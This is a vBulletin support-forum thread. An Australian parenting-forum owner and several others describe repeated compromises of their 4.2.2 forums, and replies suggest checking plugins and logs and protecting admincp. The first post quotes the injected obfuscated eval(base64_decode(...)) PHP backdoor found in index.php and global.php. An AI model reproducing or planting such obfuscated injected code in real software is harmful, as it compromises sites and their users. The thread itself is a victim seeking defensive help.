Forum getting hacked over and over. Please help :(

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • RedTrinity
    Senior Member
    • Apr 2008
    • 105
    • 4.1.x

    [Forum] Forum getting hacked over and over. Please help :(

    Hi VB support,

    My full updated 4.2.2 forum of 8 years has recently been getting hacked over and over within the past few months, despite my endless attempts to secure it. I've changed passwords - database, forum and FTP. I've checked for unauthorised admin accounts. I've followed various tutorials and guides on protecting against hackers, including the default advice from my webhost, and the ones posted here. I've removed all hacks. I always ensure the install folder is deleted. I've even gone to the extent of deleting ALL files off the server and uploading fresh ones and just running off those alone. I only have the one custom template installed.

    This has only recently become a problem. For 7 years our site was not hacked once, and nothing new has been added recently. But now its happening frequently.

    This is the code I keep finding injected into index.php, and global.php, which makes my forum go blank:

    Code:
    eval(base64_decode("DQpldmFsKGJhc2U2NF9kZWNvZGUoIlpYWmhiQ2huZW5WdVkyOXRjSEpsYzNNb1ltRnpaVFkwWDJSbFkyOWtaU2duWlU1eFpGVXhSbkpuZWtGUkwybDBOMGRMVkVOSFRHRjFaM3BDT0dOQk9WUndTRTlSWjFkaFQwbHFSelpFZEVWT01tODJhSFl6TmpscE4xZHNiV3h1TmpocFZua3pNekV6T1RFeU9HUm9ZM1pxT0RkcE9Wb3dheko2YjJoVE9YUmFjakJWT1ZOalZXMTJOemxNYzJ4NEsxb3ZiVVY0U25oak0xSkxMMEpyZDNRdk1FNVhORmM0UzBnMVduWnBiV29yVWxsNVltczBlVTByZUVSbWVFbENkVmRMVVhwV2RscGFZMVpWY1ZKcmFrd3pRek5vTVcxVVpYTTVNVzVEY1ZoNk1tVndhRXA0U21kRGEwRmlkMFJwWVcwdk1VMXFSbE56Tkd4aFFVSlVTMEZLZW5CRVNtVTBNMGx4U1M4dlUzaHdVVnBxVm1kblkyMHhiRzVhT1hKRE1uUkNaMk5wYW01SlQycEVaME5CUWpCVVVGTlZORmhSTkhOa1MwVXlOMEoxTTJKSE1GQmxOREZrTHpKd2VXNXliV3RTTlU5MGMweERWMnN4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qSnFVbXBoYW5Oc1JtcHRNVWhpTWs5dFIyYzVhWFpGYTJWT2J6RkRkV2RMYUhsRVVIQnBUWE5QU0N0VWNtSlZabXhVTVdReFVESnlZblJNZUZWcVUyVXdQU2NwS1NrNyIpKTsNCg=="));
    Please help. My webhost has given up on helping me with this. I'm at wits end. What more can I do?

    This is my website: http://www.theparentsanctuary.net/forums/index.php

    Thanks so much in advance for any advice.

    Nikki.
    http://www.theparentsanctuary.net - Free to use Australian parenting forum providing advice, support, friendship, competitions and more to parents and parents-to-be.
  • hurricane_sh
    Senior Member
    • Mar 2005
    • 171

    #2
    Have you checked your plugins? Are there any suspicious ones?

    Comment

    • DirtRider
      Senior Member
      • Apr 2009
      • 281
      • 4.2.X

      #3
      I think you should consider changing your host as well as this really does not sound good at all.

      Comment

      • dirkji
        Member
        • Nov 2006
        • 35

        #4
        Exactly the same is happening here...

        Comment

        • donald1234
          Senior Member
          • Oct 2011
          • 1953
          • 4.1.x

          #5

          Comment

          • syrus.xl
            Senior Member
            • Jun 2005
            • 546

            #6
            Have you checked your error_logs? Normally you can trace where any 'backdoor' is present using this technique, I have fixed many forums where base64 has been injected into the database. If you need help let me know. If you have a VPS or dedicated box, you can easily lock down the server more securely than it's default settings - not recommended though if you use shared hosting.

            Comment

            • Inzvestor
              New Member
              • Nov 2010
              • 21

              #7
              I'm also facing the same battle

              My host has been super helpful

              My forum is on a dedicated Linux box and the hosting itself is not the problem

              My forum has been hacked about 7 times since mid-December

              I am on 4.2.2 and still getting hacked every few days despite changing all passwords, removing all rogue files etc

              I am now losing advertisers and the goodwill is fading away

              Having been a long time licence payer I am at a loss as to what to do next

              Comment

              • Inzvestor
                New Member
                • Nov 2010
                • 21

                #8
                Additionally, I am not able to launch the forum without disabling plugins

                A blank page is shown if define("DISABLE_HOOKS", true); is removed from includes/config.php

                Comment

                • LakeAnna
                  New Member
                  • Jan 2008
                  • 18

                  #9
                  Here is what I can share after my 5th hacking last night. If you run the admincp -> diagnostics -> suspect files, it wont find the backdoor and I cant figure out why vb hasnt been more forward.

                  A perfect example is this thread http://www.vbulletin.com/forum/forum...cp-login-pages

                  I have found two php fils that the diagnostic never found that my hosting provider has confirmed existed for 10 days prior to hacking even though I had run the suspect files job multiple times.

                  There is a good chance that these are the backdoors that are allowing people back in. But in weeks of reading vb support on restoring after a hacking, there has been no mention of what was in this thread. My guess is that you have some bogus php pages in some folders that no matter how many times you run suspect files or upload new 4.2.2 files, those pages will never get removed.

                  Comment

                  • LakeAnna
                    New Member
                    • Jan 2008
                    • 18

                    #10
                    I am still not getting a warm fuzzy on my thread http://www.vbulletin.com/forum/forum...need-some-help

                    and have submitted a support ticket to try and get clarity

                    Comment

                    • Wayne Luke
                      vBulletin Technical Support Lead
                      • Aug 2000
                      • 74123

                      #11
                      You need to go through the steps stickied here: http://www.vbulletin.com/forum/forum...ring-your-site

                      Anything with base64 is bad and needs to be completely deleted from your site. Any additional admins that you didn't create should be deleted. Any moderators that permissions to add announcements, should have that permission removed. Each step in the thread above needs to be followed and completed.
                      Translations provided by Google.

                      Wayne Luke
                      The Rabid Badger - a vBulletin Cloud demonstration site.
                      vBulletin 5 API

                      Comment

                      • Streetgliderx
                        Member
                        • Jun 2010
                        • 75

                        #12
                        My site too has been hacked recently and i was comparing my old files and even the cron.php file from my old 4.1.1 version had base64 decode crap in it....... if i do a total reload of the new forum code would this eliminate that?

                        edit: even my 4.0.4 has base 64 in it?

                        edit: ok pulled up the exact zip folder i DL from vb back in 2010, vb 4.0.4 and it has base 64 decode in it also?? anything base 64 is bad? why is it in the original upload?
                        Last edited by Streetgliderx; Fri 10 Jan '14, 4:32pm.

                        Comment

                        • LakeAnna
                          New Member
                          • Jan 2008
                          • 18

                          #13
                          Dang that doesnt make you feel good does it....

                          Comment

                          • RedTrinity
                            Senior Member
                            • Apr 2008
                            • 105
                            • 4.1.x

                            #14
                            Wow, thanks for all the responses. Sucks that so many others are dealing with the same issue There's gotta be a way to stop this, surely??

                            Originally posted by Wayne Luke
                            You need to go through the steps stickied here: http://www.vbulletin.com/forum/forum...ring-your-site

                            Anything with base64 is bad and needs to be completely deleted from your site. Any additional admins that you didn't create should be deleted. Any moderators that permissions to add announcements, should have that permission removed. Each step in the thread above needs to be followed and completed.
                            Hi Wayne,

                            Could I please have further advice on this part: "Close access to your AdminCP using .htaccess. Use either user authorization with a different username and password or IP address restrictions."

                            How exactly do I do this? I know where the .htaccess file is, just don't know what to enter into it.

                            Thanks.
                            http://www.theparentsanctuary.net - Free to use Australian parenting forum providing advice, support, friendship, competitions and more to parents and parents-to-be.

                            Comment

                            • donald1234
                              Senior Member
                              • Oct 2011
                              • 1953
                              • 4.1.x

                              #15
                              Originally posted by RedTrinity

                              How exactly do I do this? I know where the .htaccess file is, just don't know what to enter into it.
                              Don't put anything in the root .htaccess file you need to create a new one in the admincp folder or if you have a control panel use the directory protect function.

                              Comment

                              widgetinstance 262 (Related Topics) skipped due to lack of content & hide_module_if_empty option.
                              Working...